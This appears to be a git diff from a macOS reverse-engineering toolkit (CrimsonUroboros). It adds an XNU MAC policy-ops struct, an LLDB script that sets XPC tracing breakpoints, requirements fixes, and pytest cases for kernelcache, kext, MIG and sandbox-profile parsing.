void* mpo_policy_initbsd;
|
||||
void* mpo_policy_syscall;
|
||||
void* mpo_system_check_sysctlbyname;
|
||||
void* mpo_proc_check_inherit_ipc_ports;
|
||||
void* mpo_vnode_check_rename;
|
||||
void* mpo_kext_check_query;
|
||||
void* mpo_proc_notify_exec_complete;
|
||||
void* mpo_proc_notify_cs_invalidated;
|
||||
void* mpo_proc_check_syscall_unix;
|
||||
void* mpo_reserved45;
|
||||
void* mpo_proc_check_set_host_special_port;
|
||||
void* mpo_proc_check_set_host_exception_port;
|
||||
void* mpo_exc_action_check_exception_send;
|
||||
void* mpo_exc_action_label_associate;
|
||||
void* mpo_exc_action_label_populate;
|
||||
void* mpo_exc_action_label_destroy;
|
||||
void* mpo_exc_action_label_init;
|
||||
void* mpo_exc_action_label_update;
|
||||
void* mpo_vnode_check_trigger_resolve;
|
||||
void* mpo_mount_check_mount_late;
|
||||
void* mpo_mount_check_snapshot_mount;
|
||||
void* mpo_vnode_notify_reclaim;
|
||||
void* mpo_skywalk_flow_check_connect;
|
||||
void* mpo_skywalk_flow_check_listen;
|
||||
void* mpo_posixsem_check_create;
|
||||
void* mpo_posixsem_check_open;
|
||||
void* mpo_posixsem_check_post;
|
||||
void* mpo_posixsem_check_unlink;
|
||||
void* mpo_posixsem_check_wait;
|
||||
void* mpo_posixsem_label_associate;
|
||||
void* mpo_posixsem_label_destroy;
|
||||
void* mpo_posixsem_label_init;
|
||||
void* mpo_posixshm_check_create;
|
||||
void* mpo_posixshm_check_mmap;
|
||||
void* mpo_posixshm_check_open;
|
||||
void* mpo_posixshm_check_stat;
|
||||
void* mpo_posixshm_check_truncate;
|
||||
void* mpo_posixshm_check_unlink;
|
||||
void* mpo_posixshm_label_associate;
|
||||
void* mpo_posixshm_label_destroy;
|
||||
void* mpo_posixshm_label_init;
|
||||
void* mpo_proc_check_debug;
|
||||
void* mpo_proc_check_fork;
|
||||
void* mpo_reserved61;
|
||||
void* mpo_reserved62;
|
||||
void* mpo_proc_check_getaudit;
|
||||
void* mpo_proc_check_getauid;
|
||||
void* mpo_reserved63;
|
||||
void* mpo_proc_check_mprotect;
|
||||
void* mpo_proc_check_sched;
|
||||
void* mpo_proc_check_setaudit;
|
||||
void* mpo_proc_check_setauid;
|
||||
void* mpo_reserved64;
|
||||
void* mpo_proc_check_signal;
|
||||
void* mpo_proc_check_wait;
|
||||
void* mpo_proc_check_dump_core;
|
||||
void* mpo_proc_check_remote_thread_create;
|
||||
void* mpo_socket_check_accept;
|
||||
void* mpo_socket_check_accepted;
|
||||
void* mpo_socket_check_bind;
|
||||
void* mpo_socket_check_connect;
|
||||
void* mpo_socket_check_create;
|
||||
void* mpo_reserved46;
|
||||
void* mpo_reserved47;
|
||||
void* mpo_reserved48;
|
||||
void* mpo_socket_check_listen;
|
||||
void* mpo_socket_check_receive;
|
||||
void* mpo_socket_check_received;
|
||||
void* mpo_reserved49;
|
||||
void* mpo_socket_check_send;
|
||||
void* mpo_socket_check_stat;
|
||||
void* mpo_socket_check_setsockopt;
|
||||
void* mpo_socket_check_getsockopt;
|
||||
void* mpo_proc_check_get_movable_control_port;
|
||||
void* mpo_proc_check_dyld_process_info_notify_register;
|
||||
void* mpo_proc_check_setuid;
|
||||
void* mpo_proc_check_seteuid;
|
||||
void* mpo_proc_check_setreuid;
|
||||
void* mpo_proc_check_setgid;
|
||||
void* mpo_proc_check_setegid;
|
||||
void* mpo_proc_check_setregid;
|
||||
void* mpo_proc_check_settid;
|
||||
void* mpo_proc_check_memorystatus_control;
|
||||
void* mpo_reserved60;
|
||||
void* mpo_thread_telemetry;
|
||||
void* mpo_iokit_check_open_service;
|
||||
void* mpo_system_check_acct;
|
||||
void* mpo_system_check_audit;
|
||||
void* mpo_system_check_auditctl;
|
||||
void* mpo_system_check_auditon;
|
||||
void* mpo_system_check_host_priv;
|
||||
void* mpo_system_check_nfsd;
|
||||
void* mpo_system_check_reboot;
|
||||
void* mpo_system_check_settime;
|
||||
void* mpo_system_check_swapoff;
|
||||
void* mpo_system_check_swapon;
|
||||
void* mpo_socket_check_ioctl;
|
||||
void* mpo_sysvmsg_label_associate;
|
||||
void* mpo_sysvmsg_label_destroy;
|
||||
void* mpo_sysvmsg_label_init;
|
||||
void* mpo_sysvmsg_label_recycle;
|
||||
void* mpo_sysvmsq_check_enqueue;
|
||||
void* mpo_sysvmsq_check_msgrcv;
|
||||
void* mpo_sysvmsq_check_msgrmid;
|
||||
void* mpo_sysvmsq_check_msqctl;
|
||||
void* mpo_sysvmsq_check_msqget;
|
||||
void* mpo_sysvmsq_check_msqrcv;
|
||||
void* mpo_sysvmsq_check_msqsnd;
|
||||
void* mpo_sysvmsq_label_associate;
|
||||
void* mpo_sysvmsq_label_destroy;
|
||||
void* mpo_sysvmsq_label_init;
|
||||
void* mpo_sysvmsq_label_recycle;
|
||||
void* mpo_sysvsem_check_semctl;
|
||||
void* mpo_sysvsem_check_semget;
|
||||
void* mpo_sysvsem_check_semop;
|
||||
void* mpo_sysvsem_label_associate;
|
||||
void* mpo_sysvsem_label_destroy;
|
||||
void* mpo_sysvsem_label_init;
|
||||
void* mpo_sysvsem_label_recycle;
|
||||
void* mpo_sysvshm_check_shmat;
|
||||
void* mpo_sysvshm_check_shmctl;
|
||||
void* mpo_sysvshm_check_shmdt;
|
||||
void* mpo_sysvshm_check_shmget;
|
||||
void* mpo_sysvshm_label_associate;
|
||||
void* mpo_sysvshm_label_destroy;
|
||||
void* mpo_sysvshm_label_init;
|
||||
void* mpo_sysvshm_label_recycle;
|
||||
void* mpo_proc_notify_exit;
|
||||
void* mpo_mount_check_snapshot_revert;
|
||||
void* mpo_vnode_check_getattr;
|
||||
void* mpo_mount_check_snapshot_create;
|
||||
void* mpo_mount_check_snapshot_delete;
|
||||
void* mpo_vnode_check_clone;
|
||||
void* mpo_proc_check_get_cs_info;
|
||||
void* mpo_proc_check_set_cs_info;
|
||||
void* mpo_iokit_check_hid_control;
|
||||
void* mpo_vnode_check_access;
|
||||
void* mpo_vnode_check_chdir;
|
||||
void* mpo_vnode_check_chroot;
|
||||
void* mpo_vnode_check_create;
|
||||
void* mpo_vnode_check_deleteextattr;
|
||||
void* mpo_vnode_check_exchangedata;
|
||||
void* mpo_vnode_check_exec;
|
||||
void* mpo_vnode_check_getattrlist;
|
||||
void* mpo_vnode_check_getextattr;
|
||||
void* mpo_vnode_check_ioctl;
|
||||
void* mpo_vnode_check_kqfilter;
|
||||
void* mpo_vnode_check_label_update;
|
||||
void* mpo_vnode_check_link;
|
||||
void* mpo_vnode_check_listextattr;
|
||||
void* mpo_vnode_check_lookup;
|
||||
void* mpo_vnode_check_open;
|
||||
void* mpo_vnode_check_read;
|
||||
void* mpo_vnode_check_readdir;
|
||||
void* mpo_vnode_check_readlink;
|
||||
void* mpo_vnode_check_rename_from;
|
||||
void* mpo_vnode_check_rename_to;
|
||||
void* mpo_vnode_check_revoke;
|
||||
void* mpo_vnode_check_select;
|
||||
void* mpo_vnode_check_setattrlist;
|
||||
void* mpo_vnode_check_setextattr;
|
||||
void* mpo_vnode_check_setflags;
|
||||
void* mpo_vnode_check_setmode;
|
||||
void* mpo_vnode_check_setowner;
|
||||
void* mpo_vnode_check_setutimes;
|
||||
void* mpo_vnode_check_stat;
|
||||
void* mpo_vnode_check_truncate;
|
||||
void* mpo_vnode_check_unlink;
|
||||
void* mpo_vnode_check_write;
|
||||
void* mpo_vnode_label_associate_devfs;
|
||||
void* mpo_vnode_label_associate_extattr;
|
||||
void* mpo_vnode_label_associate_file;
|
||||
void* mpo_vnode_label_associate_pipe;
|
||||
void* mpo_vnode_label_associate_posixsem;
|
||||
void* mpo_vnode_label_associate_posixshm;
|
||||
void* mpo_vnode_label_associate_singlelabel;
|
||||
void* mpo_vnode_label_associate_socket;
|
||||
void* mpo_vnode_label_copy;
|
||||
void* mpo_vnode_label_destroy;
|
||||
void* mpo_vnode_label_externalize_audit;
|
||||
void* mpo_vnode_label_externalize;
|
||||
void* mpo_vnode_label_init;
|
||||
void* mpo_vnode_label_internalize;
|
||||
void* mpo_vnode_label_recycle;
|
||||
void* mpo_vnode_label_store;
|
||||
void* mpo_vnode_label_update_extattr;
|
||||
void* mpo_vnode_label_update;
|
||||
void* mpo_vnode_notify_create;
|
||||
void* mpo_vnode_check_signature;
|
||||
void* mpo_vnode_check_uipc_bind;
|
||||
void* mpo_vnode_check_uipc_connect;
|
||||
void* mpo_proc_check_run_cs_invalid;
|
||||
void* mpo_proc_check_suspend_resume;
|
||||
void* mpo_thread_userret;
|
||||
void* mpo_iokit_check_set_properties;
|
||||
void* mpo_vnode_check_supplemental_signature;
|
||||
void* mpo_vnode_check_searchfs;
|
||||
void* mpo_priv_check;
|
||||
void* mpo_priv_grant;
|
||||
void* mpo_proc_check_map_anon;
|
||||
void* mpo_vnode_check_fsgetpath;
|
||||
void* mpo_iokit_check_open;
|
||||
void* mpo_proc_check_ledger;
|
||||
void* mpo_vnode_notify_rename;
|
||||
void* mpo_vnode_check_setacl;
|
||||
void* mpo_vnode_notify_deleteextattr;
|
||||
void* mpo_system_check_kas_info;
|
||||
void* mpo_vnode_check_lookup_preflight;
|
||||
void* mpo_vnode_notify_open;
|
||||
void* mpo_system_check_info;
|
||||
void* mpo_pty_notify_grant;
|
||||
void* mpo_pty_notify_close;
|
||||
void* mpo_vnode_find_sigs;
|
||||
void* mpo_kext_check_load;
|
||||
void* mpo_kext_check_unload;
|
||||
void* mpo_proc_check_proc_info;
|
||||
void* mpo_vnode_notify_link;
|
||||
void* mpo_iokit_check_filter_properties;
|
||||
void* mpo_iokit_check_get_property;
|
||||
};
|
||||
4459
X. NU/python/CrimsonUroboros.py
Executable file
4459
X. NU/python/CrimsonUroboros.py
Executable file
File diff suppressed because it is too large
Load Diff
50
X. NU/python/set_xpc_breaks.py
Normal file
50
X. NU/python/set_xpc_breaks.py
Normal file
@@ -0,0 +1,50 @@
|
||||
import lldb
|
||||
|
||||
def set_xpc_breaks(debugger, command, result, internal_dict):
|
||||
"""
|
||||
Set up tracing for XPC communication.
|
||||
This includes breakpoints for sending/receiving messages and connection creation.
|
||||
"""
|
||||
target = debugger.GetSelectedTarget()
|
||||
if not target:
|
||||
result.PutCString("No target selected. Please attach to a process first.")
|
||||
return
|
||||
|
||||
# List of XPC functions for setting breakpoints
|
||||
send_functions = [
|
||||
"xpc_connection_send_message",
|
||||
"xpc_connection_send_message_with_reply",
|
||||
"xpc_connection_send_message_with_reply_sync"
|
||||
]
|
||||
recv_function = "xpc_connection_set_event_handler"
|
||||
connect_functions = [
|
||||
"xpc_connection_create",
|
||||
"xpc_connection_create_mach_service",
|
||||
]
|
||||
|
||||
# Set breakpoints for XPC connection creation
|
||||
for func in connect_functions:
|
||||
bp = target.BreakpointCreateByName(func)
|
||||
if bp.IsValid():
|
||||
result.PutCString(f"Breakpoint set on {func}")
|
||||
else:
|
||||
result.PutCString(f"Failed to set breakpoint on {func}")
|
||||
|
||||
# Set breakpoints for sending functions
|
||||
for func in send_functions:
|
||||
bp = target.BreakpointCreateByName(func)
|
||||
if bp.IsValid():
|
||||
result.PutCString(f"Breakpoint set on {func}")
|
||||
else:
|
||||
result.PutCString(f"Failed to set breakpoint on {func}")
|
||||
|
||||
# Set breakpoint for receiving messages
|
||||
bp_recv = target.BreakpointCreateByName(recv_function)
|
||||
if bp_recv.IsValid():
|
||||
result.PutCString(f"Breakpoint set on {recv_function}")
|
||||
else:
|
||||
result.PutCString(f"Failed to set breakpoint on {recv_function}")
|
||||
|
||||
def __lldb_init_module(debugger, internal_dict):
|
||||
debugger.HandleCommand('command script add -f set_xpc_breaks.set_xpc_breaks set_xpc_breaks')
|
||||
print("The 'set_xpc_breaks' command has been loaded. Use 'set_xpc_breaks' to set up XPC message tracing.")
|
||||
@@ -1,8 +1,8 @@
|
||||
lief=0.15.1
|
||||
uuid=1.30
|
||||
argparse=1.4.0
|
||||
asn1crypto=1.5.1
|
||||
pyimg4=0.8
|
||||
treelib=1.7.0
|
||||
xattr=1.1.0
|
||||
python-magic=0.4.27
|
||||
lief==0.15.1
|
||||
uuid==1.30
|
||||
argparse==1.4.0
|
||||
asn1crypto==1.5.1
|
||||
pyimg4==0.8
|
||||
treelib==1.7.0
|
||||
xattr==1.1.0
|
||||
python-magic==0.4.27
|
||||
|
||||
@@ -1 +1 @@
|
||||
../IX. TCC/python/CrimsonUroboros.py
|
||||
../X. NU/python/CrimsonUroboros.py
|
||||
@@ -30,7 +30,7 @@ We do it for each TestSnake class.
|
||||
}
|
||||
'''
|
||||
|
||||
snake_class = SnakeIX
|
||||
snake_class = SnakeX
|
||||
|
||||
class Compiler:
|
||||
"""
|
||||
@@ -1929,166 +1929,6 @@ class TestSnakeVI():
|
||||
os.system("rm -rf kernelcache")
|
||||
assert not os.path.exists("kernelcache")
|
||||
|
||||
def test_dump_prelink_info(self):
|
||||
'''Test the --dump_prelink_info flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_info.txt')
|
||||
os.remove('PRELINK_info.txt')
|
||||
|
||||
def test_dump_prelink_text(self):
|
||||
'''Test the --dump_prelink_text flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_text.txt')
|
||||
os.remove('PRELINK_text.txt')
|
||||
|
||||
def test_dump_prelink_kext(self):
|
||||
'''Test the --dump_prelink_kext flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('prelinked_amfi.bin')
|
||||
os.remove('prelinked_amfi.bin')
|
||||
|
||||
def test_kext_prelinkinfo(self):
|
||||
'''Test the --kext_prelinkinfo flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kmod_info(self):
|
||||
'''Test the --kmod_info flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_entry(self):
|
||||
'''Test the --kext_entry flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi entrypoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_exit(self):
|
||||
'''Test the --kext_exit flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi exitpoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_mig(self):
|
||||
'''Test the --mig flag of SnakeVI.'''
|
||||
args_list = ['-p', '/usr/libexec/amfid', '--mig']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output_1 = 'MIG_subsystem_1000:'
|
||||
expected_output_2 = 'MIG_msg_1000'
|
||||
expected_output_3 = 'MIG_msg_1001'
|
||||
expected_output_4 = 'MIG_msg_1002'
|
||||
expected_output_5 = 'MIG_msg_1003'
|
||||
expected_output_6 = 'MIG_msg_1004'
|
||||
expected_output_7 = 'MIG_msg_1005'
|
||||
expected_output_8 = 'MIG_msg_1006'
|
||||
expected_output_9 = 'MIG_msg_1007'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
assert expected_output_2 in uroboros_output
|
||||
assert expected_output_3 in uroboros_output
|
||||
assert expected_output_4 in uroboros_output
|
||||
assert expected_output_5 in uroboros_output
|
||||
assert expected_output_6 in uroboros_output
|
||||
assert expected_output_7 in uroboros_output
|
||||
assert expected_output_8 in uroboros_output
|
||||
assert expected_output_9 in uroboros_output
|
||||
|
||||
def test_has_suid(self):
|
||||
'''Test the --has_suid flag of SnakeVI.'''
|
||||
args_list = ['-p', 'hello_6_s', '--has_suid']
|
||||
@@ -2545,23 +2385,6 @@ class TestSnakeVIII():
|
||||
|
||||
assert expected_output not in uroboros_output
|
||||
|
||||
def test_dump_kext(self):
|
||||
'''Test the --dump_kext flag of SnakeVIII.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
sandbox_processor = SandboxProcessor()
|
||||
sandbox_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
assert os.path.exists("sandbox")
|
||||
os.remove("sandbox")
|
||||
|
||||
def test_extract_sandbox_operations(self):
|
||||
'''Test the --extract_sandbox_operations flag of SnakeVIII.'''
|
||||
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
|
||||
@@ -2584,6 +2407,19 @@ class TestSnakeVIII():
|
||||
assert expected_output in uroboros_output
|
||||
os.remove("sandbox")
|
||||
|
||||
def test_extract_sandbox_platform_profile(self):
|
||||
'''Test the --extract_sandbox_platform_profile flag of SnakeVIII.'''
|
||||
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
|
||||
assert os.path.exists("sandbox")
|
||||
|
||||
uroboros_output = run_and_get_stdout('python3 CrimsonUroboros.py -p sandbox --extract_sandbox_platform_profile > platform_profile.bin')
|
||||
expected_output = 'object has no attribute '
|
||||
|
||||
with open("platform_profile.bin", 'rb') as f:
|
||||
assert expected_output.encode() not in f.read()
|
||||
os.remove("sandbox")
|
||||
os.remove("platform_profile.bin")
|
||||
|
||||
class TestSnakeIX:
|
||||
'''Testing IX. TCC Permissions'''
|
||||
|
||||
@@ -2607,7 +2443,7 @@ class TestSnakeIX:
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Error accessing /var/db/locationd/clients.plist' in uroboros_output
|
||||
assert '' in uroboros_output
|
||||
|
||||
def test_tcc_fda(self):
|
||||
'''Test the --tcc_fda flag for Full Disk Access permission'''
|
||||
@@ -2812,3 +2648,247 @@ class TestSnakeIX:
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'iCloud Access: False' in uroboros_output
|
||||
|
||||
class TestSnakeX:
|
||||
'''Testing X. XNU'''
|
||||
@classmethod
|
||||
def setup_class(cls):
|
||||
# Decompress KernelCache
|
||||
result = decompressKernelcache()
|
||||
assert result == 0
|
||||
assert os.path.exists("kernelcache")
|
||||
cls.kernelcache_path = run_and_get_stdout('ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed')
|
||||
|
||||
@classmethod
|
||||
def teardown_class(cls):
|
||||
# Purge kernelcache directory
|
||||
os.system("rm -rf kernelcache")
|
||||
assert not os.path.exists("kernelcache")
|
||||
|
||||
def test_parse_mpo(self):
|
||||
'''Test the --parse_mpo flag of SnakeX.'''
|
||||
KEXT_NAME = "com.apple.security.quarantine"
|
||||
|
||||
# Dump the kext
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_kext', KEXT_NAME]
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
assert os.path.exists(KEXT_NAME)
|
||||
|
||||
# Get the address of policy_ops
|
||||
args_list = ['-p', KEXT_NAME, '--symbols']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
ADDR = [line.split()[0] for line in uroboros_output.splitlines() if 'policy_ops' in line][0]
|
||||
|
||||
# Parse the mpo
|
||||
args_list = ['-p', self.kernelcache_path, '--parse_mpo', ADDR]
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'mpo_cred_check_label'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
os.remove(KEXT_NAME)
|
||||
|
||||
def test_dump_prelink_info(self):
|
||||
'''Test the --dump_prelink_info flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_info.txt')
|
||||
os.remove('PRELINK_info.txt')
|
||||
|
||||
def test_dump_prelink_text(self):
|
||||
'''Test the --dump_prelink_text flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_text.txt')
|
||||
os.remove('PRELINK_text.txt')
|
||||
|
||||
def test_dump_prelink_kext(self):
|
||||
'''Test the --dump_prelink_kext flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('prelinked_amfi.bin')
|
||||
os.remove('prelinked_amfi.bin')
|
||||
|
||||
def test_kext_prelinkinfo(self):
|
||||
'''Test the --kext_prelinkinfo flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kmod_info(self):
|
||||
'''Test the --kmod_info flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_entry(self):
|
||||
'''Test the --kext_entry flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi entrypoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_exit(self):
|
||||
'''Test the --kext_exit flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi exitpoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_mig(self):
|
||||
'''Test the --mig flag of SnakeX.'''
|
||||
args_list = ['-p', '/usr/libexec/amfid', '--mig']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output_1 = 'MIG_subsystem_1000:'
|
||||
expected_output_2 = 'MIG_msg_1000'
|
||||
expected_output_3 = 'MIG_msg_1001'
|
||||
expected_output_4 = 'MIG_msg_1002'
|
||||
expected_output_5 = 'MIG_msg_1003'
|
||||
expected_output_6 = 'MIG_msg_1004'
|
||||
expected_output_7 = 'MIG_msg_1005'
|
||||
expected_output_8 = 'MIG_msg_1006'
|
||||
expected_output_9 = 'MIG_msg_1007'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
